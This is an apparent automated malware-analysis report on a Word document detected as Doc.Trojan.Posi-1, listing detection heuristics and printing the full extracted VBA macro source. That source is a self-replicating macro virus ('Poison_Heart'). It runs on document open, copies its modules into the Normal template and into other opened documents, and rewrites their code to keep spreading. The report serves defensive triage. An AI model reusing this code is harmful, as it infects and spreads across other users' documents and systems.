Malware Insights
The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro designed to execute malicious code. The ClamAV heuristic identifies it as Doc.Trojan.Posi-1, indicating a known trojan. The VBA code appears to attempt to export and import components, likely to obfuscate or prepare for the execution of a secondary payload, although the script is truncated. The presence of a Document_Open macro strongly suggests an attempt to automatically run malicious code when the document is opened, a common tactic for malware delivery.
Heuristics 3
-
ClamAV: Doc.Trojan.Posi-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Posi-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2668 bytes |
SHA-256: a346b11dfe6dc71d5020818fe4620e1653e1503b270f01a7831b226df0a1746e |
|||
|
Detection
ClamAV:
Doc.Trojan.Posi-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Word_Poison
End Sub
Attribute VB_Name = "Poison_Heart"
'Poison_Heart'
'ver 1.0'
Option Explicit
Dim X As New Poison_Heart_Class
Const temp = "~Temp1.bas"
Const temp1 = "~Temp.bas"
Dim i As Integer
Sub AutoExec()
Set X.App = Word.Application
End Sub
Public Sub DocHookProc()
Dim Obj As Object
Dim Bar As CommandBar
On Error Resume Next
Application.NormalTemplate.VBProject.VBComponents("Poison_Heart").Export (temp)
Application.NormalTemplate.VBProject.VBComponents("Poison_Heart_Class").Export (temp1)
Err = 0
Set Obj = ActiveDocument.VBProject.VBComponents("Poison_Heart")
If Err <> 0 Then
ActiveDocument.VBProject.VBComponents.Import (temp)
End If
Err = 0
Set Obj = ActiveDocument.VBProject.VBComponents("Poison_Heart_Class")
If Err <> 0 Then
ActiveDocument.VBProject.VBComponents.Import (temp1)
End If
Kill temp
Kill temp1
For i = 1 To ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines (1)
Next i
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString ("Private Sub Document_Open()")
ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines 2, "Word_Poison"
ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines 3, "End Sub"
End Sub
Sub Word_Poison()
Dim Obj As Object
Dim Bar As CommandBar
On Error Resume Next
ActiveDocument.VBProject.VBComponents("Poison_Heart").Export (temp)
ActiveDocument.VBProject.VBComponents("Poison_Heart_Class").Export (temp1)
Err = 0
Set Obj = Application.NormalTemplate.VBProject.VBComponents("Poison_Heart")
If Err <> 0 Then
Application.NormalTemplate.VBProject.VBComponents.Import (temp)
End If
Err = 0
Set Obj = Application.NormalTemplate.VBProject.VBComponents("Poison_Heart_Class")
If Err <> 0 Then
Application.NormalTemplate.VBProject.VBComponents.Import (temp1)
End If
Kill temp
Kill temp1
End Sub
Attribute VB_Name = "Poison_Heart_Class"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'Poison_Heart'
'ver 1.0'
Public WithEvents App As Word.Application
Private Sub App_DocumentChange()
DocHookProc
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.